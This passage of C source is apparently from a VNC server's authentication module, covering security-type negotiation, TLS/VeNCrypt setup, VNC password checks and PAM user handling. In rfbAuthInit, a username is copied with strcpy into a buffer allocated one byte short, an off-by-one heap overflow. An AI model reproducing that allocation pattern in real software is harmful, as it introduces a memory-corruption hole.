(strcmp(pbuf.pw_name, userBuf)) { rfbLog("User '%s' denied access (not the session owner)\n", userBuf); rfbLog(" Enable user ACL to grant access to other users.\n"); rfbClientAuthFailed(cl, "User denied access"); return; } } if (rfbPAMAuthenticate(cl, pamServiceName, userBuf, pwdBuf, &emsg)) rfbClientAuthSucceeded(cl, rfbAuthUnixLogin); else rfbClientAuthFailed(cl, (char *)emsg); } #endif typedef struct { const char *name; int protocolMinorVer; Bool advertise; CARD8 securityType; } RFBSecTypeData; static RFBSecTypeData secTypeNone = { "none", 3, TRUE, rfbSecTypeNone }; static RFBSecTypeData secTypeVncAuth = { "vncauth", 3, TRUE, rfbSecTypeVncAuth }; static RFBSecTypeData secTypeTight = { "tight", 7, TRUE, rfbSecTypeTight }; static RFBSecTypeData secTypeVeNCrypt = { "vencrypt", 7, TRUE, rfbSecTypeVeNCrypt }; static RFBSecTypeData *rfbSecTypes[] = { &secTypeNone, &secTypeVncAuth, &secTypeVeNCrypt, &secTypeTight, NULL }; typedef void (*AuthFunc) (rfbClientPtr cl); typedef struct { int authType; CARD8 vendorSignature[4]; CARD8 nameSignature[8]; AuthFunc startFunc; AuthFunc rspFunc; } AuthCapData; static AuthCapData authCapNone = { rfbAuthNone, rfbStandardVendor, sig_rfbAuthNone, AuthNoneStartFunc, AuthNoneRspFunc }; static AuthCapData authCapVncAuth = { rfbAuthVNC, rfbStandardVendor, sig_rfbAuthVNC, rfbVncAuthSendChallenge, rfbVncAuthProcessResponse }; static AuthCapData authCapVeNCrypt = { rfbAuthVeNCrypt, rfbVeNCryptVendor, sig_rfbAuthVeNCrypt, rfbVeNCryptAuthenticate, AuthNoneRspFunc }; #ifdef XVNC_AuthPAM static AuthCapData authCapUnixLogin = { rfbAuthUnixLogin, rfbTightVncVendor, sig_rfbAuthUnixLogin, AuthPAMUserPwdStartFunc, AuthPAMUserPwdRspFunc }; #endif static AuthCapData *authCaps[] = { &authCapNone, &authCapVncAuth, &authCapVeNCrypt, #ifdef XVNC_AuthPAM &authCapUnixLogin, #endif NULL }; typedef struct { const char *name; Bool enabled; Bool permitted; int preference; Bool requiredData; RFBSecTypeData *rfbSecType; AuthCapData *authCap; int subType; } SecTypeData; /* * Set the "permitted" member to TRUE if you want the security type to be * available by default. The value of the "permitted-security-types" config * file option will take precedence over the defaults below. * * We permit the rfbAuthNone security type by default for backward * compatibility and only enable it when either explicitly told to do so or if * it is permitted and no other security types were specified on the command * line. */ static SecTypeData secTypes[] = { #if USETLS /* name enabled permitted preference requiredData */ { "tlsnone", FALSE, TRUE, -1, FALSE, /* secType authCap subType */ &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSNone }, { "tlsvnc", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSVnc }, { "tlsotp", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSVnc }, #ifdef XVNC_AuthPAM { "tlsplain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptTLSPlain }, #endif { "x509none", FALSE, TRUE, -1, FALSE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509None }, { "x509vnc", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Vnc }, { "x509otp", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Vnc }, #ifdef XVNC_AuthPAM { "x509plain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptX509Plain }, #endif #endif { "none", FALSE, TRUE, -1, FALSE, &secTypeNone, &authCapNone, rfbSecTypeNone }, { "vnc", TRUE, TRUE, -1, TRUE, &secTypeVncAuth, &authCapVncAuth, rfbSecTypeVncAuth }, { "otp", TRUE, TRUE, -1, TRUE, &secTypeVncAuth, &authCapVncAuth, rfbSecTypeVncAuth }, #ifdef XVNC_AuthPAM { "unixlogin", TRUE, TRUE, -1, TRUE, &secTypeTight, &authCapUnixLogin, -1 }, { "plain", TRUE, TRUE, -1, TRUE, &secTypeVeNCrypt, &authCapVeNCrypt, rfbVeNCryptPlain }, #endif { NULL } }; Bool rfbOptOtpAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if (!strcmp(&s->name[strlen(s->name) - 3], "otp") && s->enabled) return TRUE; } return FALSE; } Bool rfbOptPamAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if ((!strcmp(s->name, "unixlogin") || strstr(s->name, "plain")) && s->enabled) return TRUE; } return FALSE; } Bool rfbOptRfbAuth(void) { SecTypeData *s; for (s = secTypes; s->name != NULL; s++) { if (!strcmp(&s->name[strlen(s->name) - 3], "vnc") && s->enabled) return TRUE; } return FALSE; } void rfbAuthParseCommandLine(char *securityTypes) { char *p1 = securityTypes, *p2 = securityTypes; SecTypeData *s; for (s = secTypes; s->name != NULL; s++) s->enabled = FALSE; do { *p2 = *p1; if (!isspace(*p2)) p2++; } while (*p1++ != 0); while (TRUE) { p1 = strtok_r(securityTypes, ",", &p2); securityTypes = NULL; if (p1 == NULL) break; for (s = secTypes; s->name != NULL; s++) { if (!strcasecmp(s->name, p1)) { s->enabled = TRUE; break; } } if (s->name == NULL) FatalError("ERROR: Unknown security type '%s'", p1); } } static void setSecTypes(char *buf, Bool backwardCompatible) { char *saveptr = NULL; char *p; SecTypeData *s; preferenceLimit = 0; for (s = secTypes; s->name != NULL; s++) { s->permitted = FALSE; s->preference = -1; s->rfbSecType->advertise = FALSE; } while (TRUE) { p = strtok_r(buf, ",", &saveptr); buf = NULL; if (p == NULL) break; for (s = secTypes; s->name != NULL; s++) { if (backwardCompatible && s->rfbSecType == &secTypeVeNCrypt) continue; if (!strcasecmp(s->name, p) || (backwardCompatible && !strcasecmp(s->name, "unixlogin") && !strcasecmp(p, "pam-userpwd"))) break; } if (s->name == NULL) FatalError("ERROR: Unknown security type name '%s'", p); s->permitted = TRUE; s->preference = preferenceLimit++; } } void rfbAuthListAvailableSecurityTypes(void) { SecTypeData *s; int chars = 23; ErrorF(" Available security types (case-insensitive):\n"); ErrorF(" "); for (s = secTypes; s->name != NULL; s++) { ErrorF("%s", s->name); chars += strlen(s->name); if ((s + 1)->name != NULL) { ErrorF(", "); chars += 2; if (chars + strlen((s + 1)->name) > 77) { ErrorF("\n "); chars = 23; } } } ErrorF("\n"); } static void ReadConfigFile(void) { FILE *fp; char buf[256], buf2[256]; int line; int len; int n, i, j; struct stat sb; if ((fp = fopen(rfbAuthConfigFile, "r")) == NULL) return; if (fstat(fileno(fp), &sb) == -1) FatalError("rfbAuthInit: ERROR: fstat %s: %s", rfbAuthConfigFile, strerror(errno)); if ((sb.st_uid != 0) && (sb.st_uid != getuid())) FatalError("ERROR: %s must be owned by you or by root", rfbAuthConfigFile); if (sb.st_mode & (S_IWGRP | S_IWOTH)) FatalError("ERROR: %s cannot have group or global write permissions", rfbAuthConfigFile); rfbLog("Using security configuration file %s\n", rfbAuthConfigFile); for (line = 0; fgets(buf, sizeof(buf), fp) != NULL; line++) { len = strlen(buf) - 1; if (buf[len] != '\n' && strlen(buf) == 256) FatalError("ERROR in %s: line %d is too long!", rfbAuthConfigFile, line + 1); buf[len] = '\0'; for (i = 0, j = 0; i < len; i++) { if (buf[i] != ' ' && buf[i] != '\t') buf2[j++] = buf[i]; } len = j; buf2[len] = '\0'; if (len < 1) continue; if (!strcmp(buf2, "no-remote-resize")) { rfbAuthDisableRemoteResize = TRUE; continue; } if (!strcmp(buf2, "no-reverse-connections")) { rfbAuthDisableRevCon = TRUE; continue; } if (!strcmp(buf2, "no-remote-connections")) { interface.s_addr = htonl(INADDR_LOOPBACK); interface6 = in6addr_loopback; continue; } if (!strcmp(buf2, "no-clipboard-send")) { rfbAuthDisableCBSend = TRUE; continue; } if (!strcmp(buf2, "no-clipboard-recv")) { rfbAuthDisableCBRecv = TRUE; continue; } if (!strcmp(buf2, "no-httpd")) { rfbAuthDisableHTTP = TRUE; continue; } if (!strcmp(buf2, "no-x11-tcp-connections")) { rfbAuthDisableX11TCP = TRUE; continue; } #ifdef XVNC_AuthPAM if (!strcmp(buf2, "no-pam-sessions")) { rfbAuthDisablePAMSession = TRUE; continue; } if (!strcmp(buf2, "enable-user-acl")) { rfbAuthUserACL = TRUE; continue; } n = 17; if (!strncmp(buf2, "pam-service-name=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: pam-service-name is empty!", rfbAuthConfigFile); if ((pamServiceName = strdup(&buf2[n])) == NULL) FatalError("rfbAuthInit strdup: %s", strerror(errno)); continue; } #endif /* permitted-auth-methods provides backward compatibility with TurboVNC 2.0.x and earlier. It can only be used to enable non-VeNCrypt security types. */ n = 23; if (!strncmp(buf2, "permitted-auth-methods=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-auth-methods is empty!", rfbAuthConfigFile); setSecTypes(&buf2[n], TRUE); continue; } /* permitted-security-types was introduced in TurboVNC 2.1. */ n = 25; if (!strncmp(buf2, "permitted-security-types=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-security-types is empty!", rfbAuthConfigFile); setSecTypes(&buf2[n], FALSE); continue; } #ifdef USETLS n = 24; if (!strncmp(buf2, "permitted-cipher-suites=", n)) { if (buf2[n] == '\0') FatalError("ERROR in %s: permitted-cipher-suites is empty!", rfbAuthConfigFile); if ((rfbAuthCipherSuites = strdup(&buf2[n])) == NULL) FatalError("rfbAuthInit strdup: %s", strerror(errno)); continue; } #endif n = 17; if (!strncmp(buf2, "max-idle-timeout=", n)) { int t; if (buf2[n] == '\0') FatalError("ERROR in %s: max-idle-timeout is empty!", rfbAuthConfigFile); if (sscanf(&buf2[n], "%d", &t) < 1 || t <= 0) FatalError("ERROR in %s: max-idle-timeout value must be > 0!", rfbAuthConfigFile); rfbMaxIdleTimeout = (CARD32)t; continue; } n = 17; if (!strncmp(buf2, "max-desktop-size=", n)) { int w = -1, h = -1; if (buf2[n] == '\0') FatalError("ERROR in %s: max-desktop-size is empty!", rfbAuthConfigFile); if (sscanf(&buf2[n], "%dx%d", &w, &h) < 2 || w <= 0 || h <= 0) FatalError("ERROR in %s: max-desktop-size value is incorrect.", rfbAuthConfigFile); if (w == 0) w = MAXSHORT; if (h == 0) h = MAXSHORT; rfbMaxWidth = (CARD32)w; rfbMaxHeight = (CARD32)h; continue; } if (buf2[0] != '#') rfbLog("WARNING: unrecognized security config line '%s'\n", buf); } fclose(fp); } void rfbAuthInit(void) { SecTypeData *s; int nSelected = 0; ReadConfigFile(); for (s = secTypes; s->name != NULL; s++) { if (s->enabled) { nSelected++; if (!s->permitted) { rfbLog("WARNING: security type '%s' is not permitted\n", s->name); s->enabled = FALSE; continue; } } if (s->enabled) { nSecTypesEnabled++; rfbLog("Enabled security type '%s'\n", s->name); if (!s->rfbSecType->advertise) { s->rfbSecType->advertise = TRUE; rfbLog("Advertising security type '%s' to viewers\n", s->rfbSecType->name); } } } if (nSelected == 0) { /* No security type was selected. See if we should enable the rfbAuthNone security type. */ for (s = secTypes; s->name != NULL; s++) { if (!s->requiredData) { if (s->permitted) { nSecTypesEnabled++; s->enabled = TRUE; s->rfbSecType->advertise = TRUE; rfbLog("Enabled security type '%s'\n", s->name); rfbLog("Advertising security type '%s' to viewers\n", s->rfbSecType->name); } } else { s->rfbSecType->advertise = FALSE; } } } #ifndef XVNC_AuthPAM if (rfbOptPamAuth()) rfbLog("WARNING: PAM support is not compiled in.\n"); #endif if (nSecTypesEnabled == 0) { for (s = secTypes; s->name != NULL; s++) { if (s->permitted) rfbLog("NOTICE: %s is a permitted security type\n", s->name); } FatalError("ERROR: no security types enabled!"); } else { /* Do not advertise rfbAuthNone if any other security type is enabled */ for (s = secTypes; s->name != NULL; s++) { if (s->enabled && strcmp(s->name, "none")) secTypeNone.advertise = FALSE; } } #ifdef XVNC_AuthPAM if (rfbOptPamAuth() && rfbAuthUserACL) { struct passwd pbuf; struct passwd *pw; char buf[256]; char *n; if (getpwuid_r(getuid(), &pbuf, buf, sizeof(buf), &pw) != 0) FatalError("AuthPAMUserPwdRspFunc: limit-user enabled and getpwuid_r failed: %s", strerror(errno)); n = (char *)rfbAlloc(strlen(pbuf.pw_name)); strcpy(n, pbuf.pw_name); rfbAuthAddUser(n, FALSE); } #endif } void rfbAuthProcessResponse(rfbClientPtr cl) { AuthCapData **p; AuthCapData *c; for (p = authCaps; *p != NULL; p++) { c = *p; if (cl->selectedAuthType == c->authType) { c->rspFunc(cl); return; } } rfbLog("rfbAuthProcessResponse: authType assertion failed\n"); rfbCloseClient(cl); } /* * rfbAuthNewClient is called right after negotiating the protocol version. * Depending on the protocol version, we send either a code for the * authentication scheme to be used (protocol 3.3) or a list of possible * "security types" (protocol 3.7 and above.) */ void rfbAuthNewClient(rfbClientPtr cl) { RFBSecTypeData **p; RFBSecTypeData *r; if (rfbAuthIsBlocked()) { rfbLog("Too many authentication failures - client rejected\n"); rfbClientConnFailed(cl, "Too many authentication failures"); return; } if (cl->protocol_minor_ver >= 7) { rfbSendSecurityTypeList(cl); return; } /* Make sure we use only RFB 3.3-compatible security types */ for (p = rfbSecTypes; *p != NULL; p++) { r = *p; if (r->advertise && (r->protocolMinorVer < 7)) break; } if (*p == NULL) { rfbLog("VNC authentication disabled - RFB 3.3 client rejected\n"); rfbClientConnFailed(cl, "Your viewer cannot handle required security types"); return; } cl->selectedAuthType = r->securityType; rfbSendSecurityType(cl, r->securityType); } /* * Tell the client which security type will be used (protocol 3.3) */ static void rfbSendSecurityType(rfbClientPtr cl, int securityType) { CARD32 value32; value32 = Swap32IfLE(securityType); if (WriteExact(cl, (char *)&value32, 4) < 0) { rfbLogPerror("rfbSendSecurityType: write"); rfbCloseClient(cl); return; } switch (securityType) { case rfbSecTypeNone: /* Dispatch client input to rfbProcessClientInitMessage() */ cl->state = RFB_INITIALISATION; break; case rfbSecTypeVncAuth: /* Begin the Standard VNC authentication procedure */ rfbVncAuthSendChallenge(cl); break; default: rfbLogPerror("rfbSendSecurityType: assertion failed"); rfbCloseClient(cl); } } /* * Advertise our supported security types (protocol 3.7 and above) */ static void rfbSendSecurityTypeList(rfbClientPtr cl) { int i, j, n; SecTypeData *s; RFBSecTypeData *r; Bool tightAdvertised = FALSE; /* * When no preference order was set using "permitted-security-types", the * default value of preferenceLimit (1) will cause us to execute the * outer loop once. In this case, the s->preference members will all * be the default value (-1), and we skip the order testing. */ n = 0; for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled) continue; r = s->rfbSecType; if (n > MAX_SECURITY_TYPES) FatalError("rfbSendSecurityTypeList: # enabled security types > MAX_SECURITY_TYPES"); /* * Check whether we have already advertised this security type */ for (j = 0; j < n; j++) { if (cl->securityTypes[j + 1] == r->securityType) break; } if (j < n) continue; if (r->advertise && (cl->protocol_minor_ver >= r->protocolMinorVer)) { cl->securityTypes[++n] = r->securityType; if (r->securityType == rfbSecTypeTight) tightAdvertised = TRUE; } } } if (n == 0) FatalError("rfbSendSecurityTypeList: no security types enabled! This should not have happened!"); if (!tightAdvertised) { /* * Make sure to advertise the Tight security type, in order to allow * TightVNC-compatible clients to enable other (non-auth) Tight * extensions. */ if (n > MAX_SECURITY_TYPES) FatalError("rfbSendSecurityTypeList: # enabled security types > MAX_SECURITY_TYPES"); rfbLog("rfbSendSecurityTypeList: advertise sectype tight\n"); cl->securityTypes[++n] = rfbSecTypeTight; } cl->securityTypes[0] = (CARD8)n; /* Send the list */ if (WriteExact(cl, (char *)cl->securityTypes, n + 1) < 0) { rfbLogPerror("rfbSendSecurityTypeList: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientSecurityType() */ cl->state = RFB_SECURITY_TYPE; } #define WRITE(data, size) \ if (WriteExact(cl, (char *)data, size) <= 0) { \ rfbLogPerror("rfbVeNCryptAuthenticate: write"); \ rfbCloseClient(cl); \ return; \ } #define READ(data, size) \ if (ReadExact(cl, (char *)data, size) <= 0) { \ rfbLogPerror("rfbVeNCryptAuthenticate: read"); \ rfbCloseClient(cl); \ return; \ } #if USETLS #define TLS_INIT(anon) \ if ((ctx = rfbssl_init(cl, anon)) == NULL) { \ reply = 0; \ WRITE(&reply, 1); \ rfbClientAuthFailed(cl, rfbssl_geterr()); \ return; \ } \ reply = 1; \ WRITE(&reply, 1); \ cl->sslctx = ctx; \ if ((ret = rfbssl_accept(cl)) < 0) { \ rfbCloseClient(cl); \ return; \ } else if (ret == 1) { \ rfbLog("Deferring TLS handshake\n"); \ cl->state = RFB_TLS_HANDSHAKE; \ return; \ } void rfbAuthTLSHandshake(rfbClientPtr cl) { int ret; if ((ret = rfbssl_accept(cl)) < 0) { rfbCloseClient(cl); return; } else if (ret == 1) return; switch (cl->selectedAuthType) { case rfbAuthNone: rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbAuthVNC: rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbAuthUnixLogin: AuthPAMUserPwdRspFunc(cl); break; #endif } } #endif void rfbVeNCryptAuthenticate(rfbClientPtr cl) { struct { CARD8 major, minor; } serverVersion = { 0, 2 }, clientVersion = { 0, 0 }; CARD8 reply, count = 0; int i, j; SecTypeData *s; CARD32 subTypes[MAX_VENCRYPT_SUBTYPES], chosenType = 0; #if USETLS rfbSslCtx *ctx; int ret; #endif WRITE(&serverVersion.major, 1); WRITE(&serverVersion.minor, 1); rfbUncorkSock(cl->sock); rfbCorkSock(cl->sock); READ(&clientVersion, 2); if (clientVersion.major == 0 && clientVersion.minor < 2) { reply = 0xFF; WRITE(&reply, 1); rfbCloseClient(cl); return; } else { reply = 0; WRITE(&reply, 1); } memset(subTypes, 0, sizeof(CARD32) * MAX_VENCRYPT_SUBTYPES); for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled || s->subType == -1) continue; if (count > MAX_VENCRYPT_SUBTYPES) FatalError("rfbVeNCryptAuthenticate: # enabled subtypes > MAX_VENCRYPT_SUBTYPES"); /* Check whether we have already advertised this subtype */ for (j = 0; j < count; j++) { if (subTypes[j] == s->subType) break; } if (j < count) continue; subTypes[count++] = s->subType; } } WRITE(&count, 1); if (count > 0) { for (i = 0; i < count; i++) { CARD32 subType = Swap32IfLE(subTypes[i]); WRITE(&subType, sizeof(CARD32)); } } rfbUncorkSock(cl->sock); rfbCorkSock(cl->sock); READ(&chosenType, sizeof(CARD32)); chosenType = Swap32IfLE(chosenType); for (i = 0; i < count; i++) { if (chosenType == subTypes[i]) break; } rfbLog("Client requested VeNCrypt sub-type %d\n", chosenType); if (chosenType == 0 || chosenType == rfbSecTypeVeNCrypt || i >= count) { rfbLog("Requested VeNCrypt sub-type not supported\n"); rfbCloseClient(cl); return; } cl->selectedAuthType = chosenType; switch (chosenType) { case rfbAuthNone: rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbAuthVNC: rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptPlain: AuthPAMUserPwdRspFunc(cl); break; #endif #if USETLS case rfbVeNCryptTLSNone: cl->selectedAuthType = rfbAuthNone; TLS_INIT(TRUE); rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbVeNCryptTLSVnc: cl->selectedAuthType = rfbAuthVNC; TLS_INIT(TRUE); rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptTLSPlain: cl->selectedAuthType = rfbAuthUnixLogin; TLS_INIT(TRUE); AuthPAMUserPwdRspFunc(cl); break; #endif case rfbVeNCryptX509None: cl->selectedAuthType = rfbAuthNone; TLS_INIT(FALSE); rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbVeNCryptX509Vnc: cl->selectedAuthType = rfbAuthVNC; TLS_INIT(FALSE); rfbVncAuthSendChallenge(cl); break; #ifdef XVNC_AuthPAM case rfbVeNCryptX509Plain: cl->selectedAuthType = rfbAuthUnixLogin; TLS_INIT(FALSE); AuthPAMUserPwdRspFunc(cl); break; #endif #endif default: FatalError("rfbVeNCryptAuthenticate: chosen type is invalid (this should never occur)"); } } /* * Read the security type chosen by the client (protocol 3.7 and above) */ void rfbProcessClientSecurityType(rfbClientPtr cl) { int n, count, i; CARD8 chosenType; /* Read the security type */ n = ReadExact(cl, (char *)&chosenType, 1); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientSecurityType: client gone\n"); else rfbLogPerror("rfbProcessClientSecurityType: read"); rfbCloseClient(cl); return; } /* Make sure it was present in the list sent by the server */ count = (int)cl->securityTypes[0]; for (i = 1; i <= count; i++) { if (chosenType == cl->securityTypes[i]) break; } if (i > count) { rfbLog("rfbProcessClientSecurityType: wrong security type requested\n"); rfbCloseClient(cl); return; } cl->selectedAuthType = chosenType; switch (chosenType) { case rfbSecTypeNone: /* No authentication needed */ rfbClientAuthSucceeded(cl, rfbAuthNone); break; case rfbSecTypeVncAuth: /* Begin the Standard VNC authentication procedure */ rfbVncAuthSendChallenge(cl); break; case rfbSecTypeTight: /* The viewer supports TightVNC extensions */ rfbLog("Enabling TightVNC protocol extensions\n"); /* Switch to protocol 3.7t/3.8t */ cl->protocol_tightvnc = TRUE; /* Advertise our tunneling capabilities */ rfbSendTunnelingCaps(cl); break; case rfbSecTypeVeNCrypt: /* The viewer supports VeNCrypt extensions */ rfbLog("Enabling VeNCrypt protocol extensions\n"); rfbVeNCryptAuthenticate(cl); break; default: rfbLog("rfbProcessClientSecurityType: unknown authentication scheme\n"); rfbCloseClient(cl); break; } } /* * Send the list of our tunneling capabilities (protocol 3.7t/3.8t) */ static void rfbSendTunnelingCaps(rfbClientPtr cl) { rfbTunnelingCapsMsg caps; CARD32 nTypes = 0; /* We don't support tunneling yet */ caps.nTunnelTypes = Swap32IfLE(nTypes); if (WriteExact(cl, (char *)&caps, sz_rfbTunnelingCapsMsg) < 0) { rfbLogPerror("rfbSendTunnelingCaps: write"); rfbCloseClient(cl); return; } if (nTypes) /* Dispatch client input to rfbProcessClientTunnelingType() */ cl->state = RFB_TUNNELING_TYPE; else rfbSendAuthCaps(cl); } /* * Read tunneling type requested by the client (protocol 3.7t/3.8t) * * NOTE: Currently we don't support tunneling, and this function can never be * called. */ void rfbProcessClientTunnelingType(rfbClientPtr cl) { /* If we were called, then something's really wrong. */ rfbLog("rfbProcessClientTunnelingType: not implemented\n"); rfbCloseClient(cl); } /* * Send the list of our authentication capabilities to the client * (protocol 3.7t/3.8t) */ static void rfbSendAuthCaps(rfbClientPtr cl) { rfbAuthenticationCapsMsg caps; rfbCapabilityInfo caplist[MAX_AUTH_CAPS]; int count = 0; int j; SecTypeData *s; AuthCapData *c; rfbCapabilityInfo *pcap; char tempstr[9]; if (!cl->reverseConnection) { int i; /* * When no preference order was set using "permitted-security-types", * the default value of preferenceLimit (1) will cause us to execute * the outer loop once. In this case, the s->preference members will * all be the default value (-1), and we skip the order testing. */ for (i = 0; i < preferenceLimit; i++) { for (s = secTypes; s->name != NULL; s++) { if (((s->preference != -1) && (i != s->preference)) || !s->enabled) continue; c = s->authCap; if (count > MAX_AUTH_CAPS) FatalError("rfbSendAuthCaps: # enabled security types > MAX_AUTH_CAPS"); /* * Check to see if we have already advertised this auth cap. * VNC password and OTP both use the VNC authentication cap. */ for (j = 0; j < count; j++) { if (cl->authCaps[j] == c->authType) break; } if (j < count) continue; pcap = &caplist[count]; pcap->code = Swap32IfLE(c->authType); memcpy(pcap->vendorSignature, c->vendorSignature, sz_rfbCapabilityInfoVendor); memcpy(pcap->nameSignature, c->nameSignature, sz_rfbCapabilityInfoName); cl->authCaps[count] = c->authType; strncpy(tempstr, (char *)pcap->nameSignature, 8); tempstr[8] = 0; rfbLog("Advertising Tight auth cap '%s'\n", tempstr); count++; } } if (count == 0) FatalError("rfbSendAuthCaps: authentication required but no security types enabled! This should not have happened!"); } cl->nAuthCaps = count; caps.nAuthTypes = Swap32IfLE((CARD32)count); if (WriteExact(cl, (char *)&caps, sz_rfbAuthenticationCapsMsg) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } if (count) { if (WriteExact(cl, (char *)&caplist[0], count *sz_rfbCapabilityInfo) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientAuthType() */ cl->state = RFB_AUTH_TYPE; } else { /* No authentication needed */ rfbClientAuthSucceeded(cl, rfbAuthNone); cl->state = RFB_INITIALISATION; } } /* * Read client's preferred authentication type (protocol 3.7t/3.8t) */ void rfbProcessClientAuthType(rfbClientPtr cl) { CARD32 auth_type; int n, i; AuthCapData **p; AuthCapData *c; /* Read authentication type selected by the client */ n = ReadExact(cl, (char *)&auth_type, sizeof(auth_type)); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientAuthType: client gone\n"); else rfbLogPerror("rfbProcessClientAuthType: read"); rfbCloseClient(cl); return; } auth_type = Swap32IfLE(auth_type); /* Make sure it was present in the list sent by the server */ for (i = 0; i < cl->nAuthCaps; i++) { if (auth_type == cl->authCaps[i]) break; } if (i >= cl->nAuthCaps) { rfbLog("rfbProcessClientAuthType: wrong authentication type requested\n"); rfbCloseClient(cl); return; } for (p = authCaps; *p != NULL; p++) { c = *p; if (auth_type == c->authType) { cl->selectedAuthType = auth_type; c->startFunc(cl); return; } } rfbLog("rfbProcessClientAuthType: unknown authentication scheme\n"); rfbCloseClient(cl); } /* * Send the authentication challenge */ static void rfbVncAuthSendChallenge(rfbClientPtr cl) { vncRandomBytes(cl->authChallenge); if (WriteExact(cl, (char *)cl->authChallenge, CHALLENGESIZE) < 0) { rfbLogPerror("rfbVncAuthSendChallenge: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbVncAuthProcessResponse() */ cl->state = RFB_AUTHENTICATION; } static Bool CheckResponse(rfbClientPtr cl, int numPasswords, char *passwdFullControl, char *passwdViewOnly, CARD8 *response) { Bool ok = FALSE; CARD8 encryptedChallenge1[CHALLENGESIZE]; CARD8 encryptedChallenge2[CHALLENGESIZE]; memcpy(encryptedChallenge1, cl->authChallenge, CHALLENGESIZE); vncEncryptBytes(encryptedChallenge1, passwdFullControl); memcpy(encryptedChallenge2, cl->authChallenge, CHALLENGESIZE); vncEncryptBytes(encryptedChallenge2, (numPasswords == 2) ? passwdViewOnly : passwdFullControl); /* Delete the passwords from memory */ memset(passwdFullControl, 0, MAXPWLEN + 1); memset(passwdViewOnly, 0, MAXPWLEN + 1); if (memcmp(encryptedChallenge1, response, CHALLENGESIZE) == 0) { rfbLog("Full-control authentication enabled for %s\n", cl->host); ok = TRUE; cl->viewOnly = FALSE; } else if (memcmp(encryptedChallenge2, response, CHALLENGESIZE) == 0) { rfbLog("View-only authentication enabled for %s\n", cl->host); ok = TRUE; cl->viewOnly = TRUE; } return ok; } /* * rfbVncAuthProcessResponse is called when the client sends its * authentication response. */ void rfbVncAuthProcessResponse(rfbClientPtr cl) { char passwdFullControl[MAXPWLEN + 1] = "\0"; char passwdViewOnly[MAXPWLEN + 1] = "\0"; int numPasswords; Bool ok; int n; CARD8 response[CHALLENGESIZE]; n = ReadExact(cl, (char *)response, CHALLENGESIZE); if (n <= 0) { if (n != 0) rfbLogPerror("rfbVncAuthProcessResponse: read"); rfbCloseClient(cl); return; } ok = FALSE; if (rfbOptOtpAuth()) { if (rfbAuthOTPValue == NULL) { if (nSecTypesEnabled == 1) { rfbClientAuthFailed(cl, "The one-time password has not been set on the server"); return; } } else { memcpy(passwdFullControl, rfbAuthOTPValue, MAXPWLEN); passwdFullControl[MAXPWLEN] = '\0'; numPasswords = rfbAuthOTPValueLen / MAXPWLEN; if (numPasswords > 1) { memcpy(passwdViewOnly, rfbAuthOTPValue + MAXPWLEN, MAXPWLEN); passwdViewOnly[MAXPWLEN] = '\0'; } ok = CheckResponse(cl, numPasswords, passwdFullControl, passwdViewOnly, response); if (ok) { memset(rfbAuthOTPValue, 0, rfbAuthOTPValueLen); free(rfbAuthOTPValue); rfbAuthOTPValue = NULL; } } } if ((ok == FALSE) && rfbOptRfbAuth()) { if (!rfbAuthPasswdFile) { rfbClientAuthFailed(cl, "No VNC password file specified on the server (did you forget -rfbauth?)"); return; } numPasswords = vncDecryptPasswdFromFile2(rfbAuthPasswdFile, passwdFullControl, passwdViewOnly); if (numPasswords == 0) { rfbLog("rfbVncAuthProcessResponse: could not get password from %s\n", rfbAuthPasswdFile); if (nSecTypesEnabled == 1) { rfbClientAuthFailed(cl, "The server could not read the VNC password file"); return; } } ok = CheckResponse(cl, numPasswords, passwdFullControl, passwdViewOnly, response); } if (ok) { rfbAuthUnblock(); rfbClientAuthSucceeded(cl, rfbAuthVNC); } else { rfbLog("rfbVncAuthProcessResponse: authentication failed from %s\n", cl->host); if (rfbAuthConsiderBlocking()) rfbClientAuthFailed(cl, "Authentication failed. Too many tries"); else rfbClientAuthFailed(cl, "Authentication failed"); } } /* * rfbClientConnFailed is called when a client connection has failed before * the authentication stage. */ void rfbClientConnFailed(rfbClientPtr cl, char *reason) { int headerLen, reasonLen; char buf[8]; CARD32 *buf32 = (CARD32 *)buf; headerLen = (cl->protocol_minor_ver >= 7) ? 1 : 4; reasonLen = strlen(reason); buf32[0] = 0; buf32[1] = Swap32IfLE(reasonLen); if (WriteExact(cl, buf, headerLen) < 0 || WriteExact(cl, buf + 4, 4) < 0 || WriteExact(cl, reason, reasonLen) < 0) rfbLogPerror("rfbClientConnFailed: write"); rfbCloseClient(cl); } /* * 